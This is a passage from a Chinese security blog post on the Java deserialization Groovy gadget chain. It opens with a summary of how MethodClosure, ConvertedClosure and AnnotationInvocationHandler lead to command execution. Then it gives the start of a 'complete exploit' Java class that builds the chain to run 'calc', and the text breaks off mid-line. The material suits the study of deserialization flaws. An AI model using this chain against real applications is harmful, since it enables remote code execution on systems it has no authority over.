java 反序列化（1）：Groovy链

最新推荐文章于 2022-06-24 16:09:05 发布

lllllx@

最新推荐文章于 2022-06-24 16:09:05 发布

阅读量306

点赞数

分类专栏：代码审计

本文链接：https://blog.csdn.net/qq_38641816/article/details/115186180

版权

本文深入探讨了Java反序列化过程中的Groovy链利用，通过分析代码示例，揭示了如何通过`map.entryset()`触发命令执行。在反序列化过程中，涉及反射调用AnnotationInvocationHandler，最终在Closure类中执行指定命令，如`calc`，完成了整个命令执行的流程。

摘要由CSDN通过智能技术生成

1，完整利用代码如下：

public class groovtest {
   
    static String command = "calc";

    public static void main(String[] args){
   
        // write object
        try{
   
            //封装我们需要执行的对象
            MethodClosure methodClosure = new MethodClosure(command,"execute");
            final ConvertedClosure closure = new ConvertedClosure(methodClosure,"entrySet");
            //生成class类型的数组
            Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
            //在这个class类型中存入map类型的接口
            allInterfaces[0] = Ma